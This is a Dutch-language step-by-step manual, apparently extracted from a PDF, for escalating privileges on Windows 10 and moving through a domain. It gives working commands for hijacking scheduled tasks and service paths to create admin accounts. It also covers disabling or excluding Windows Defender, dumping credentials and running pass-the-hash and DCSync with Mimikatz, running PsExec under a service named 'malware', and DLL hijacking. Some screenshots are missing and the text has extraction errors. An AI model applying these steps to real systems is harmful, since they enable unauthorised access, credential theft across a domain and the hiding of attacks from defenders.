Toegang krijgen tot admin rechten via user: handleiding created by Shiyar
Privilege escalation in Windows +10
Auteur: Coder Shiyar
Datum: 07-10-24
Versie: 1.0
https://github.com/codershiyar
Contents
Toegang krijgen tot admin rechten via user: handleiding created by Shiyar ........................................................... 1
Inleiding : ................................................................................................................................................................... 3
Privilege escalation in Windows +10 ........................................................................................................................ 3
Manier 1: via Scenario: Exploiteren van Geplande Taken in de "Tasks Migrated" Map ................................................. 3
Stappen om een admin aan te maken of commanden die je wilt te kunnen uitvoeren ............................................ 3
Manier 2: Via Services bij sommige services kan je imagePath aanpassen .............................................................. 5
Manier 3: Exploiteren van een Unquoted Service Path .................................................................................................. 6
Manier 4: Services Misbruiken via Toegangsrechten met AccessChk ............................................................................ 8
Stappen met voorbeelden ....................................................................................................................................... 8
Voorbeeld: .......................................................................................................................................................... 8
Windows Defender Exclusions om Activiteiten te Verbergen als admin ........................................................................ 9
Stappen om Windows Defender Exclusions te Gebruiken: ........................................................................................ 9
Pass-the-Hash-aanval met Mimikatz - nadat je met succes admin geworden ..............................................................10
Stappen voor een Pass-the-Hash-aanval met Mimikatz: ..........................................................................................10
Of via Ping - Voorbeeld ...........................................................................................................................................11
Advanced Level - Mimikatz copy van user naar admin pc ............................................................................................12
Advanced level 2 Mimikatz - passwords of adm domain ...........................................................................................13
Advanced level 3 Mimikatz passwords of main domain (super admin) .......................................................................14
Advnaced Level - PsExec (nadat je cmd opent met admin rechten) .............................................................................15
Controleer netwerktoegang....................................................................................................................................15
Gebruik PsExec met een aangepaste servicenaam .................................................................................................15
Accepteer de EULA automatisch (optioneel) ...........................................................................................................15
Een programma of script op afstand uitvoeren ........................................................................................................15
Bestanden naar de doelcomputer kopiëren en een programma uitvoeren ................................................................15
Opdrachten in de achtergrond uitvoeren ................................................................................................................16
Processen op afstand beëindigen...........................................................................................................................16
Wachtwoord van admin aanpassen:.......................................................................................................................16
Echte voorbeelden.................................................................................................................................................16
Les 3 Manier 7: DLL Hijacking-aanval ......................................................................................................................17
Stap 1: Controleer de service .................................................................................................................................17
Stap 2: Maak de service aan ...................................................................................................................................17
Stap 3: Gebruik Process Monitor ............................................................................................................................18
Stap 4: Plaats de kwaadaardige DLL .......................................................................................................................18
Stap 5: Service uitvoeren........................................................................................................................................19
Stap 6: Gebruik een netwerkschijf (indien nodig) .....................................................................................................19
Samenvatting voor je handleiding: ..........................................................................................................................19
Inleiding :
Dit document bevat meerdere manieren voor Privilege escalation in Windows 10.
Privilege escalation in Windows +10
Manier 1: via Scenario: Exploiteren van Geplande Taken in de "Tasks Migrated" Map
De C:\Windows\Tasks Migrated directory bevat taken die mogelijk zijn overgebleven na een systeemupgrade. Sommige
van deze taken hebben mogelijk zwakke conguraties, zoals lees- of schrijfrechten voor standaardgebruikers.
Stappen om een admin aan te maken of commanden die je wilt te kunnen uitvoeren
Stap 1: Log in als gebruiker (in mijn geval is het wachtwoord: L3tm3!n).
Stap 2: Controleer of er een map met de naam "Tasks Migrated" bestaat in C:\Windows.
Indien deze map bestaat, ga verder met de volgende stappen.
Stap 3: Open tasks migrated map
Stap 4: Wijzig bestand genaamd "pinger" om te controleren welk bestand wordt uitgevoerd bij het opstarten van de pc.
Stap 5: Maak een nieuw bestand genaamd "pinger.bat" en vervang dit met het originele bestand dat in
C:\temp\pinger.bat staat. In je gemaakte .bat bestand moet commanden voor het maken van een gebruiker erin zitten
Een gebruiker aan te maken: net user username password /add
Een gebruiker als admin maken: net localgroup administrators username /add
Een gebruiker verwijderen: net user [username] /delete
Voorbeeld: net user hacker 1234 & net localgroup administrators username /add
Als je geen toegang hebt tot het wijzigen van de pinger.bat, controleer of je de map "temp" kunt aanpassen. Maak
eventueel een nieuwe map genaamd "temp", verwijder de originele map en plaats je .bat-bestand in de nieuwe map.
Stap 6: log uit en log in opnieuw en voor deze command uit: net user
Voorbeeld: Zoals je ziet er is een gebruiker gemaakt die hacker heet.
Manier 2: Via Services – bij sommige services kan je imagePath aanpassen
Sommige services worden uitgevoerd met specieke opdrachten. Deze opdrachten kun je aanpassen en de service
starten om zo een nieuwe gebruiker aan te maken.
Stap 1: open services
Stap 2: Controleer of er services actief zijn die als uitvoerbaar bestand worden uitgevoerd. In mijn geval was er een
service genaamd "regsvc".
Voorbeeld:
Stap 3: open registery
Stap 4: Ga naar HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ en zoek de naam van de service.
Stap 5: wijzig de ImagePath van dat service naar commanden die je graag wilt. Bijvoorbeeld
cmd.exe /c net user <gebruikersnaam> <wachtwoord> /add && net localgroup administrators <gebruikersnaam> /add
Voorbeeld:
Stap 6: start service opnieuw en dan wordt de gebruiker aangemaakt.
Manier 3: Exploiteren van een Unquoted Service Path
Wanneer een servicepad niet tussen aanhalingstekens staat en er spaties in het pad zitten,
probeert Windows elk deel van het pad op te bouwen en voert het elk gevonden bestand in dat pad uit.
Dit biedt een mogelijkheid om een malade .exe-bestand te plaatsen in een directory die Windows probeert
te openen. Dit bestand kan dan automatisch worden uitgevoerd als de service wordt gestart.
Meer uitleg
Voorbeeld:
Dit kan je via services zien of via deze command :
wmic service get name,displayname,pathname,startmode | ndstr /i "auto" | ndstr /i /v "C:\Windows\\" | ndstr /i /v """
bat to exe converter link
https://bat-to-exe-converter-x64.en.softonic.com
Manier 4: Services Misbruiken via Toegangsrechten met AccessChk
Met AccessChk kun je controleren welke services door de huidige gebruiker kunnen worden uitgevoerd. Als je toegang
hebt om een service te starten, kun je de conguratie van die service aanpassen en een kwaadaardige opdracht
uitvoeren.
Stappen met voorbeelden
Stap 1: Download AccessChk van de Sysinternals website. Je kunt AccessChk downloaden via de volgende link:
AccessChk Download - Sysinternals Suite
Deze link bevat de volledige Sysinternals Suite, waaronder de tool AccessChk, die je kunt gebruiken om
toegangsrechten te controleren op services die je als standaardgebruiker kunt starten of beheren.
Stap 2: Gebruik het volgende commando om te zien welke services de gebruiker kan starten:
Voorbeeld:
Windows Defender Exclusions om Activiteiten te Verbergen als admin
Als je adminrechten hebt verkregen, kun je bepaalde mappen, zoals de C-schijf, uitsluiten van Windows Defender-
scans. Dit stelt je in staat om acties uit te voeren zonder dat Windows Defender deze detecteert, zonder dat je de
antivirussoftware volledig hoeft uit te schakelen.
Stappen om Windows Defender Exclusions te Gebruiken:
1. Open Windows Security via het Start-menu.
2. Ga naar Virus & threat protection settings.
3. Scroll naar beneden en klik op Add or remove exclusions.
4. Voer de admin-inloggegevens in wanneer daarom wordt gevraagd.
5. Voeg de C: -schijf toe als een uitsluiting door Folder te selecteren.
6. Bevestig dat de uitsluiting succesvol is door te controleren of C: in de exclusions-lijst staat.
Tip: maak uitsluitingen voor de downloads- of temp-map. Uitsluiting C: map in geheel soms werkt niet.
Mimikatz Pass-the-Hash-aanval - nadat je met succes admin geworden
Een Pass-the-Hash (PTH)-aanval met Mimikatz stelt je in staat om de identiteit van een gebruiker over te nemen zonder
hun wachtwoord te kennen. Dit doe je door de NTLM-hash van de gebruiker te gebruiken om authenticatie uit te voeren.
Het voordeel hiervan is dat je kunt inloggen als een gebruiker en acties kunt uitvoeren met hun rechten, zonder hun
wachtwoord te hoeven achterhalen.
Stappen voor een Pass-the-Hash-aanval met Mimikatz:
Stap 1: zorg dat windows defender c driver excluded voordat je begint.
Stap 2: Download en open Mimikatz Ga naar de ociële GitHub-pagina van Mimikatz en download de nieuwste
versie. hps://github.com/genlkiwi/mimikatz
Stap 3: Open een Opdrachtprompt (CMD) als beheerder (rechtermuisknop > Uitvoeren als administrator).
Stap 4: navigeer naar de map waar mimikatz zich bevindt
Stap 5: start Mimikatz
Stap 6: voer deze command uit: privilege::debug
Stap 7: voer deze command uit: sekurlsa::logonpasswords
Voorbeeld:
Stap 8: Zoek in de uitvoer naar de NTLM-hash van de gebruiker die je wilt imiteren, bijvoorbeeld Administrator.
Voorbeeld
Stap 9: Voer een Pass-the-Hash-aanval uit
Gebruik het volgende commando om in te loggen als de gebruiker waarvan je de NTLM-hash hebt:
sekurlsa::pth /user:Administrator /domain:win10client /ntlm:[NTLM-HASH]
Vervang [NTLM-HASH] door de daadwerkelijke hash die je in de vorige stap hebt gevonden.
Vervang win10client met je domainnaam, bijvoorbeeld win10adm of win10srv, Meestal admin gebruikt hetzelfde
wachtwoord voor meerdere domainen.
Vervang win10client door de naam van het domein of de werkgroep van het systeem.
Als het commando succesvol is, opent Mimikatz een nieuwe Opdrachtprompt (cmd), nu als de geïmpersoniceerde
gebruiker (bijvoorbeeld Administrator). Dit betekent dat je nu volledige rechten hebt als die gebruiker.
Om te controleren of je bent ingelogd als de juiste gebruiker, voer je het volgende commando uit in de
nieuwe cmd-sessie: ping domainname
Advanced 1 – Mimikatz copy van user naar admin pc & PsExec
Stap 1: log in als admin via mimikatz
Stap 2: open cmd van admin via psexec (te download via: https://learn.microsoft.com/en-
us/sysinternals/downloads/psexec)
Voorbeeld
Stap 4: Maak een map in c driver. Bijvoorbeeld die temp heet.
Stap 5: zet defender uit bij c:\temp
o Open powershell
o Run dit command: C:\Users\coder> Set-MpPreference -ExclusionPath c:\temp
o Run exit om powershell te verlaten.
Voorbeeld:
Stap 6: via kimikatz open cmd van admin opnieuw en krijg toegang tot c van admin via je pc -> en
hem x noemen bijvoorbeeld
Stap 7: copy mimikatz van je pc naar target pc
Target pc
Advanced 2 – Mimikatz - Wachtwoorden van win10adm krijgen.
Stap 1: uitschakelen Real-Time Protection
powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
of via deze manier
powershell -Command "Add-MpPreference -ExclusionPath 'C:\temp"
Stap 2: run mimikatz op target pc – en doe dezelfde stappen om wachtwoorden te zien
Nu heb je all wachtwoorden op admin domain.
Advanced 3 – Mimikatz passwords of main domain (super admin)
Stap 1: from mimimkatz of admin look on users of main super admin
"Zoals je ziet, zien we een gebruiker van adlab.local (win2019DC). We gaan inloggen."
Stap 2: in kimikatz log in as domad to adlab.local domain
Stap 3: open mimikatz in cmd adlab.local
Stap 4: run dit command uit: lsadump::dcsync /domain adlab.local /all /csv
Zoals je ziet, kreeg ik een lijst van alle gebruikers met tokens.
Advnaced Level - PsExec (nadat je cmd opent met admin rechten)
Met PsExec kun je verschillende beheer- en automatiseringstaken uitvoeren op een andere computer in het netwerk,
zonder fysieke toegang tot die computer. Het is een krachtig hulpmiddel voor systeembeheerders. Hier zijn enkele van
de belangrijkste dingen die je met PsExec kunt doen:
Controleer netwerktoegang
Zorg ervoor dat je verbinding kunt maken met de doelcomputer via het netwerk. Je kunt dit testen met het ping-
commando:
Vervang 192.168.1.10 door het IP-adres van de doelcomputer.
Gebruik PsExec met een aangepaste servicenaam
Om te voorkomen dat de standaard PsExec-service vastloopt of wordt geblokkeerd, gebruik je de -r optie om een
aangepaste servicenaam te kiezen (in dit geval malware).
\\192.168.1.10: Het IP-adres van de doelcomputer.
-r malware: Dit zorgt ervoor dat PsExec een service aanmaakt met de naam malware in plaats van de
standaardnaam PSEXESVC. Je kan wat je wilt gebruiken
cmd: Opent een command-prompt op de doelcomputer.
Accepteer de EULA automatisch (optioneel)
Als je PsExec voor de eerste keer gebruikt, moet je de licentieovereenkomst (EULA) accepteren. Dit kun je
automatiseren met de -accepteula optie.
Een programma of script op afstand uitvoeren
Je kunt een programma of script op de doelcomputer uitvoeren zonder dat je handmatig in hoeft te loggen.
Bestanden naar de doelcomputer kopiëren en een programma uitvoeren
Je kunt een bestand naar de doelcomputer kopiëren en het daar uitvoeren met PsExec.
Opdrachten in de achtergrond uitvoeren
Je kunt programma's of scripts in de achtergrond laten draaien op de doelcomputer zonder de uitvoer te zien.
Processen op afstand beëindigen
Je kunt PsExec gebruiken om processen te beëindigen op een externe computer.
Wachtwoord van admin aanpassen:
Echte voorbeelden
Privilege Escalation part 2 - DLL Hijacking-aanval
Bij een DLL Hijacking-aanval maak je gebruik van het feit dat Windows mogelijk een DLL laadt vanaf een locatie waar de
aanvaller controle over heeft. Door een malade DLL te plaatsen op een plek waar een service naar zoekt, kan een
aanvaller ongeautoriseerde code uitvoeren met de rechten van die service.
Stappen voor een DLL Hijacking-aanval:
Stap 1: Controleer de service
Ga naar Services op je doelcomputer en controleer of er een service is die kwetsbaar is voor DLL hijacking.
Kopieer de uitvoerbare bestand van die service (bijvoorbeeld dllhijackservice.exe) naar je eigen computer waar
je adminrechten hebt.
Stap 2: Maak de service aan
Maak een nieuwe service op je eigen machine met het commando:
sc create <service_name> binpath= "<path_to_dllhijackservice.exe>"
Stap 3: Gebruik Process Monitor
Gebruik Process Monitor (van Sysinternals) om te controleren welke DLLs worden geladen wanneer je de
service start.
Filter op de naam van de executable (hijack.exe) en .dll bestanden om te zien waar Windows naar zoekt voor de
DLL's.
Stap 4: Plaats de kwaadaardige DLL
Kijk welke mappen Windows doorzoekt voor de DLL's. Als een van deze mappen op het doelsysteem toegankelijk
is en je hebt daar rechten, plaats dan een malade DLL met dezelfde naam als de verwachte DLL.
Indien je geen toegang hebt tot die mappen, kijk in de omgevingsvariabele %PATH% of er een andere locatie is
waar je rechten hebt om de DLL te plaatsen.
Stap 5: Service uitvoeren
Start de service op de doelcomputer. Als de kwaadaardige DLL geladen wordt, kan deze code uitvoeren met de
rechten van de service.
Stap 6: Gebruik een netwerkschijf (indien nodig)
Als je werkt vanuit een virtuele machine (VM), kun je een netwerkmap gebruiken om bestanden uit te wisselen
tussen je VM en je eigen computer.
Samenvatting voor je handleiding:
Manier 7: DLL Hijacking-aanval uitvoeren
Met een DLL Hijacking-aanval kun je een kwetsbare service misbruiken om een malade DLL te laden en zo
ongeautoriseerde code uit te voeren. Door de juiste DLL op de juiste locatie te plaatsen, kan de aanvaller controle
krijgen over de service. Deze techniek is een krachtig voorbeeld van privilege escalation, waarbij de aanvaller code kan
uitvoeren met de rechten van de service.